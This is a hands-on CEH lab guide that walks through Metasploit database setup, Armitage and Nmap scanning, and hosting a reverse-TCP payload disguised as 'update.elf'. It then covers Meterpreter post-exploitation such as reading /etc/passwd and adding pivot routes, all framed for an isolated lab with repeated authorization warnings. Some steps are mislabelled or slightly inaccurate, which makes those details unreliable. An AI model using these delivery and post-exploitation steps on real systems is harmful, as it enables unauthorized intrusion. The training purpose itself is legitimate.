Hands-on Penetration Testing Training for CEH Students
Case Study: PostgreSQL Database Initialization for Metasploit
Scenario: A CEH student launches Armitage but receives the error: "Could not connect to PostgreSQL. Please check your database configuration." The Metasploit console shows: [-] Failed to connect to the database: could not connect to server
- PostgreSQL service is not running
- Metasploit database user/role not created
- Database initialization was skipped during Kali install
- Firewall blocking local PostgreSQL port (5432)
msfdb init fails, try reinitializing with:
🔧 Common PostgreSQL Issues & Fixes
| Issue | Diagnosis Command | Solution |
|---|---|---|
| Service not running | sudo systemctl status postgresql |
sudo systemctl start postgresql |
| Database not initialized | msfconsole -x "db_status" |
msfdb init |
| Permission denied | sudo -u postgres psql -l |
sudo msfdb init |
| Port 5432 blocked | sudo ss -tlnp | grep 5432 |
sudo ufw allow 5432/tcp |
| Corrupted database | msfconsole -x "db_rebuild_cache" |
msfdb reinit (last resort) |
📋 Full PostgreSQL Reset Procedure (Advanced)
Lab Overview & Objectives
🎯 Learning Objectives
- Master Armitage GUI for Metasploit Framework operations
- Perform network reconnaissance using Nmap integration
- Create, deliver, and monitor custom payloads in controlled environment
- Understand post-exploitation techniques and session management
- Document findings following professional penetration testing standards
Attacker Machine
Victim Machine
192.168.56.0/24
Lab Authorization
Lab 1: Environment Setup & Initial Reconnaissance
📚 Armitage Overview
Armitage is a graphical cyber attack management tool for the Metasploit Framework. It visualizes targets, recommends exploits, and exposes advanced Metasploit features through an intuitive interface.
Visual Target Mapping
Interactive network graph showing discovered hosts, services, and relationships
Exploit Recommendations
AI-assisted suggestions based on target OS, services, and known vulnerabilities
Collaborative Attacks
Multiple testers can work on same engagement with shared session data
Automated Workflows
Pre-built attack scripts (Hail Mary, Bruteforce) for rapid assessment
msfdb init before launching Armitage to ensure database connectivity for storing scan results and session data.
⚙️ Lab Setup Steps
- Verify & Initialize PostgreSQL Database:
// Check if PostgreSQL service is running sudo systemctl status postgresql // Start PostgreSQL if not running sudo systemctl start postgresql // Enable PostgreSQL to start on boot sudo systemctl enable postgresql // Initialize Metasploit database (first-time setup) msfdb init // Verify database connection msfconsole -q -x "db_status" [+] PostgreSQL connected. Ready.
- Launch Armitage:
// Start Armitage with default RPC settings armitage // Or specify custom RPC connection armitage -h 127.0.0.1 -o 55553 // Expected output when successful: [+] Starting Metasploit RPC server on 127.0.0.1:55553 [+] Loading modules... [+] Armitage GUI ready🖼️ Armitage Connection Dialog Host: 127.0.0.1 | Port: 55553 | User: msf | Password: (auto-generated)
- Configure Lab Network:
// Verify lab network interface (VirtualBox Host-Only) ip a show vboxnet0 inet 192.168.56.1/24 brd 192.168.56.255 scope global vboxnet0 // Confirm victim machine is reachable ping -c 2 192.168.56.101 64 bytes from 192.168.56.101: icmp_seq=1 ttl=64 time=0.8ms 64 bytes from 192.168.56.101: icmp_seq=2 ttl=64 time=0.9ms // Test HTTP service on victim (if Apache running) curl -I http://192.168.56.101 HTTP/1.1 200 OK Server: Apache/2.2.8
🔧 Troubleshooting Common Issues
Lab 2: Network Discovery & Nmap Integration
🎯 Lab Objectives
- Perform network scan to discover live hosts in lab range
- Execute port scans to identify running services
- Conduct OS detection and service version enumeration
- Import and visualize scan results in Armitage
🔍 Activity 2.1: Network Scan (Ping Sweep)
- In Armitage: Go to
Hosts → Nmap Scan → Ping Sweep - Set Target Range: Enter
192.168.56.0/24(your isolated lab network) - Execute Scan: Click "Scan" and monitor progress in bottom console
- Verify Results: Discovered hosts appear in "Targets" panel with green icons
🔍 Activity 2.2: Comprehensive Port & Service Scan
- Right-click discovered host (e.g., 192.168.56.101) →
Nmap Scan → Intense Scan - Scan options explained:
// Intense Scan = -T4 -A -v -T4 // Aggressive timing template (faster scan) -A // Enable OS detection, version detection, script scanning, traceroute -v // Verbose output for detailed progress
- Review results in Armitage:
- 🟢 Services tab: Lists open ports with service names
- 🔵 Notes tab: Contains OS detection results
- 🟡 Right-click service → "Find Attacks" to see relevant exploits
🔍 Activity 2.3: Vulnerability-Focused Scan
Use Armitage's built-in scripts to identify low-hanging fruit before deep analysis.
- Select target host(s) in Armitage Targets panel
- Go to:
Attacks → Find Vulnerabilities → by Port - Choose scan type:
SMB Checks- For Windows systems (MS17-010, etc.)HTTP Vulnerabilities- For web servers (SQLi, XSS, outdated CMS)FTP Checks- For anonymous login, vsftpd backdoors
- Review findings: Vulnerabilities appear with risk ratings (Critical/High/Medium)
These scans generate network traffic. Ensure you're ONLY scanning your isolated lab network (192.168.56.0/24). Scanning external networks without authorization violates computer fraud laws.
Lab 3: Payload Creation & Web Delivery
🎯 Lab Objectives
- Generate custom reverse TCP payload using msfvenom
- Host payload on Apache web server in /var/www/html
- Simulate victim download and execution (controlled environment)
- Establish and monitor Meterpreter session via Armitage
This lab simulates malware delivery. ALL activities must occur within your isolated lab:
- ✅ Victim machine: Metasploitable/Windows VM in 192.168.56.0/24
- ✅ Payload execution: ONLY on VMs you own and control
- ✅ Network: Host-Only adapter, NO internet access during payload testing
- ❌ NEVER test payloads on personal devices, classmate machines, or external systems
🔧 Activity 3.1: Generate Reverse TCP Payload
- Open terminal in Kali and generate payload with msfvenom:
-p = Payload type | LHOST = Your Kali IP (callback address) | LPORT = Listener port | -f = Output format | -o = Output file path
🌐 Activity 3.2: Host Payload on Apache Server
- Ensure Apache is running:
// Start Apache web server sudo systemctl start apache2 // Enable Apache to start on boot sudo systemctl enable apache2 // Verify Apache status sudo systemctl status apache2 ● apache2.service - The Apache HTTP Server Active: active (running) since...
- Verify payload is accessible:
// Test from Kali itself first curl -I http://192.168.56.1/update.elf HTTP/1.1 200 OK Content-Type: application/x-executable Content-Length: 256 // Verify file listing (optional - disable in production) ls -la /var/www/html/ -rwxr-xr-x 1 www-data www-data 256 May 9 10:30 update.elf
- Firewall consideration (lab only):
// Allow HTTP traffic in lab environment sudo ufw allow 80/tcp // Verify firewall rule sudo ufw status Status: active 80/tcp ALLOW Anywhere
🎯 Activity 3.3: Simulate Victim Download & Execution
On Metasploitable VM (192.168.56.101):
Before executing ANY payload:
- Confirm you're on isolated lab network (no internet)
- Verify target IP is your authorized victim VM
- Document execution time and purpose in lab journal
- Have snapshot ready to revert VM post-lab
Lab 4: Session Management & Activity Monitoring
🎯 Lab Objectives
- Configure and launch Metasploit listener in Armitage
- Establish Meterpreter session from payload execution
- Perform basic post-exploitation commands (controlled)
- Monitor session activity and collect forensic evidence
- Properly terminate sessions and document findings
🔧 Activity 4.1: Configure Listener in Armitage
- In Armitage: Go to
Metasploit → Exploits → Multi → Handler - Configure handler options:
// Payload must match what was generated earlier // Configure these fields in the Armitage dialog: Payload: linux/x64/meterpreter/reverse_tcp LHOST: 192.168.56.1 // Your Kali IP LPORT: 4444 // Must match payload AutoRunScript: post/multi/manage/shell_to_meterpreter (optional)
- Launch Handler: Click "Launch" → Status shows "Listening..."
- Verify listener: Check bottom console for:
[*] Started reverse TCP handler on 192.168.56.1:4444 [*] Waiting for incoming connections...
🎯 Activity 4.2: Establish & Verify Session
- Trigger payload on victim VM (from Lab 3.3)
- Monitor Armitage: New session appears in "Sessions" tab with green icon
- Interact with session: Right-click session →
Interact - Verify connection: Meterpreter prompt appears:
meterpreter > sysinfo Computer : metasploitable OS : Linux metasploitable 2.6.35-22-generic #35-Ubuntu SMP Architecture : x64 Meterpreter : x64/linux
🔍 Activity 4.3: Controlled Post-Exploitation Commands
These commands demonstrate capabilities. In real engagements, only run commands authorized in your scope of work.
- Basic System Information:
meterpreter > getuid Server username: uid=1000, gid=1000 meterpreter > pwd /home/msfuser meterpreter > ipconfig Interface 1: 192.168.56.101 (subnet: 192.168.56.0, netmask: 255.255.255.0)
- File System Exploration (Read-Only):
meterpreter > ls /etc meterpreter > cat /etc/passwd | grep -v nologin // ⚠️ NEVER modify system files in lab without explicit instruction
- Network Reconnaissance:
meterpreter > run post/linux/gather/arp_scanner RHOSTS=192.168.56.0/24 [*] 192.168.56.1: Found host (MAC: 08:00:27:AA:BB:CC)
- Screen Capture (Demonstration):
meterpreter > run post/linux/manage/execute_cmd CMD="whoami" [*] Command output: msfuser
📊 Activity 4.4: Session Monitoring & Logging
- Enable session logging in Armitage:
// In Meterpreter session, enable routing meterpreter > run post/multi/manage/autoroute [+] Route added: 192.168.56.0/24 via 192.168.56.101 // Verify routes meterpreter > run post/multi/manage/autoroute -p Active Routing Table ==================== Subnet: 192.168.56.0/24 Netmask: 255.255.255.0 Gateway: 192.168.56.101
- Monitor real-time activity:
- Armitage "Console" tab shows all commands and output
- Right-click session →
View → Session Logfor full transcript - Export logs:
File → Save Workspace As...for reporting
- Capture evidence for lab report:
// Take screenshot of session (Armitage feature) // Right-click session → Capture → Screenshot // Save command history to file meterpreter > history > /tmp/lab_session_commands.txt // Verify file was created cat /tmp/lab_session_commands.txt
🧹 Activity 4.5: Proper Session Termination & Cleanup
Always clean up after penetration testing activities to avoid leaving backdoors or unstable systems.
- Exit Meterpreter session gracefully:
meterpreter > exit [*] Shutting down Meterpreter... [*] Session closed
- Stop listener in Armitage:
// Right-click handler job → Stop // Or use console command: jobs -K [*] Killing all jobs...
- Cleanup payload files (lab only):
// Remove test payloads from web directory sudo rm /var/www/html/update.elf /var/www/html/system_update.exe // Stop Apache if not needed for other labs sudo systemctl stop apache2 // Verify cleanup ls /var/www/html/ index.html (only default file remains)
- Revert victim VM to clean snapshot:
- Power off victim VM
- In VirtualBox: Select VM → Snapshots → Restore "Pre-Lab Clean"
- Document restoration in lab journal
Lab Reporting & Professional Practices
📋 Required Lab Deliverables
- Lab Journal Entry: Document each step with timestamps, commands used, and observations
- Screenshots: Capture key moments (scan results, session establishment, findings)
- Vulnerability Summary: List discovered services, potential vulnerabilities, and risk ratings
- Ethical Compliance Statement: Confirm all activities were performed in authorized lab environment
- Remediation Recommendations: Suggest security improvements for discovered issues
🔐 CEH Professional Standards
Scope Adherence
Only test systems explicitly included in your written authorization. Document scope boundaries.
Data Protection
Encrypt lab reports containing sensitive findings. Never store credentials in plaintext.
Minimal Impact
Use non-destructive techniques first. Avoid DoS tests unless explicitly authorized.
Chain of Custody
Document evidence collection methods. Maintain logs for forensic reproducibility.